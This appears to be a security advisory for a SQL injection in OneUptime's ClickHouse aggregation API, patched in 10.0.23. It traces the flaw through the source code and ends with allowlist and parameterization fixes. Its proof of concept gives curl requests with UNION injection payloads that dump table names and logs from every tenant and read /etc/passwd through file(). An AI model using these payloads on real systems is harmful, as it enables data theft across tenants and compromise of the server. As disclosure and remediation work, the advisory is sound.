| Package | Affected versions | Patched versions |
|---|---|---|
| oneuptime | < 10.0.23 | 10.0.23 |
| oneuptime | < 10.0.23 | 10.0.23 |
The telemetry aggregation API accepts user-controlled aggregationType, aggregateColumnName, and aggregationTimestampColumnName parameters and interpolates them directly into ClickHouse SQL queries via the .append() method (documented as "trusted SQL"). There is no allowlist, no parameterized query binding, and no input validation. An authenticated user can inject arbitrary SQL into ClickHouse, enabling full database read (including telemetry data from all tenants), data modification, and potential remote code execution via ClickHouse table functions.
Entry Point — Common/Server/API/BaseAnalyticsAPI.ts:88-98, 292-296:
The POST /{modelName}/aggregate route deserializes aggregateBy directly from the request body:
// BaseAnalyticsAPI.ts:292-296
const aggregateBy: AggregateBy<TBaseModel> = JSONFunctions.deserialize(
req.body["aggregateBy"]
) as AggregateBy<TBaseModel>;
No schema validation is applied to aggregateBy. The object flows directly to the database service.
No Validation — Common/Server/Services/AnalyticsDatabaseService.ts:276-278:
// AnalyticsDatabaseService.ts:276-278
if (aggregateBy.aggregationType) {
// Only truthiness check — no allowlist
}
The aggregationType field is only checked for existence, never validated against an allowed set of values (e.g., AVG, SUM, COUNT).
Raw SQL Injection — Common/Server/Utils/AnalyticsDatabase/StatementGenerator.ts:527:
// StatementGenerator.ts:527
statement.append(
`${aggregationType}(${aggregateColumnName}) as aggregationResult`
);
The .append() method on Statement (at Statement.ts:149-151) is documented as accepting trusted SQL and performs raw string concatenation:
// Statement.ts:149-151
public append(text: string): Statement {
this.query += text; // Raw concatenation — "trusted SQL"
return this;
}
Similarly, aggregationTimestampColumnName is injected into GROUP BY clauses at AnalyticsDatabaseService.ts:604-606:
statement.append(
`toStartOfInterval(${aggregationTimestampColumnName}, ...)`
);
Running one of these products? Scan your site to see whether it exposes a vulnerable version.
Scan my site freeAttack flow:
POST /api/log/aggregate (or /api/span/aggregate, /api/metric/aggregate)aggregateBy.aggregationType set to a SQL injection payload.append() at line 527# Step 1: Authenticate and get session token
TOKEN=$(curl -s -X POST 'https://TARGET/identity/login' \
-H 'Content-Type: application/json' \
-d '{"email":"[email protected]","password":"password123"}' \
| jq -r '.token')
# Step 2: Extract data from ClickHouse system tables via UNION injection
curl -s -X POST 'https://TARGET/api/log/aggregate' \
-H "Authorization: Bearer $TOKEN" \
-H 'Content-Type: application/json' \
-H 'tenantid: PROJECT_ID' \
-d '{
"aggregateBy": {
"aggregationType": "COUNT) as aggregationResult FROM system.one UNION ALL SELECT name FROM system.tables WHERE database = '\''oneuptime'\'' --",
"aggregateColumnName": "serviceId",
"aggregationTimestampColumnName": "createdAt"
},
"query": {}
}'
# Step 3: Read telemetry data across all tenants
curl -s -X POST 'https://TARGET/api/log/aggregate' \
-H "Authorization: Bearer $TOKEN" \
-H 'Content-Type: application/json' \
-H 'tenantid: PROJECT_ID' \
-d '{
"aggregateBy": {
"aggregationType": "COUNT) as aggregationResult FROM system.one UNION ALL SELECT body FROM Log LIMIT 100 --",
"aggregateColumnName": "serviceId",
"aggregationTimestampColumnName": "createdAt"
},
"query": {}
}'
# Step 4: Read files via ClickHouse table functions (if enabled)
curl -s -X POST 'https://TARGET/api/log/aggregate' \
-H "Authorization: Bearer $TOKEN" \
-H 'Content-Type: application/json' \
-H 'tenantid: PROJECT_ID' \
-d '{
"aggregateBy": {
"aggregationType": "COUNT) as aggregationResult FROM system.one UNION ALL SELECT * FROM file('\''/etc/passwd'\'') --",
"aggregateColumnName": "serviceId",
"aggregationTimestampColumnName": "createdAt"
},
"query": {}
}'
# Verify the vulnerability in source code:
# 1. No allowlist for aggregationType:
grep -n 'aggregationType' Common/Server/Services/AnalyticsDatabaseService.ts | head -5
# Line 276: if (aggregateBy.aggregationType) { — truthiness only
# 2. Raw SQL concatenation:
grep -n 'aggregationType.*aggregateColumnName' Common/Server/Utils/AnalyticsDatabase/StatementGenerator.ts
# Line 527: `${aggregationType}(${aggregateColumnName}) as aggregationResult`
# 3. .append() is raw concatenation:
grep -A3 'public append' Common/Server/Utils/AnalyticsDatabase/Statement.ts
# this.query += text; — "trusted SQL"
# 4. No validation at API layer:
grep -A5 'aggregateBy' Common/Server/API/BaseAnalyticsAPI.ts | grep -c 'validate\|sanitize\|allowlist'
# 0
Full ClickHouse database compromise. An authenticated user (any role) can:
file() table function (if not explicitly disabled), read arbitrary files from the ClickHouse container filesystemurl() table function, make HTTP requests from the server (SSRF), or via executable() table function, execute OS commandsdefault user, password from env) could be leveraged to connect directlyThe vulnerability requires only basic authentication (any registered user), making it exploitable at scale.
// 1. Add an allowlist for aggregationType in AnalyticsDatabaseService.ts:
const ALLOWED_AGGREGATION_TYPES = ['AVG', 'SUM', 'COUNT', 'MIN', 'MAX', 'UNIQ'];
if (!ALLOWED_AGGREGATION_TYPES.includes(aggregateBy.aggregationType.toUpperCase())) {
throw new BadRequestException(
`Invalid aggregationType: ${aggregateBy.aggregationType}. ` +
`Allowed: ${ALLOWED_AGGREGATION_TYPES.join(', ')}`
);
}
// 2. Validate aggregateColumnName against the model's known columns:
const modelColumns = model.getColumnNames(); // or similar accessor
if (!modelColumns.includes(aggregateBy.aggregateColumnName)) {
throw new BadRequestException(
`Invalid column: ${aggregateBy.aggregateColumnName}`
);
}
// 3. Same for aggregationTimestampColumnName:
if (aggregateBy.aggregationTimestampColumnName &&
!modelColumns.includes(aggregateBy.aggregationTimestampColumnName)) {
throw new BadRequestException(
`Invalid timestamp column: ${aggregateBy.aggregationTimestampColumnName}`
);
}
// 4. Use parameterized queries where possible:
statement.append(`{aggregationType:Identifier}({columnName:Identifier}) as aggregationResult`);
statement.addParameter('aggregationType', aggregateBy.aggregationType);
statement.addParameter('columnName', aggregateBy.aggregateColumnName);